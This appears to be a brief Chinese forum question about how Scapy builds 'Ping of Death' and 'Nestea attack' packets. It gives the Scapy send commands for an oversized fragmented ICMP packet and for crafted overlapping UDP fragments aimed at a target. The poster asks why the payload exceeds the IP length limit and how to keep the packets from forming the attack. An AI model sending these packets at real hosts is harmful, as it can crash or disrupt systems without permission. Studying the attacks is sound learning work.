关于scapy如何构造"死亡之ping"和"Nestea attack:"的攻击报文

#scapy
Ping of death:
>>> send(fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
AQ：为什么"X"*60000的应用层数据报文会使IP报文总长度大于65535个字节？

Nestea attack:
>>>send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>>send(IP(dst=target, id=42, frag=48)/("X"*116))
>>>send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
AQ：怎么修改上面的构造报文才会使得不会发出 Nestea attack:的报文？

怎么木有人啊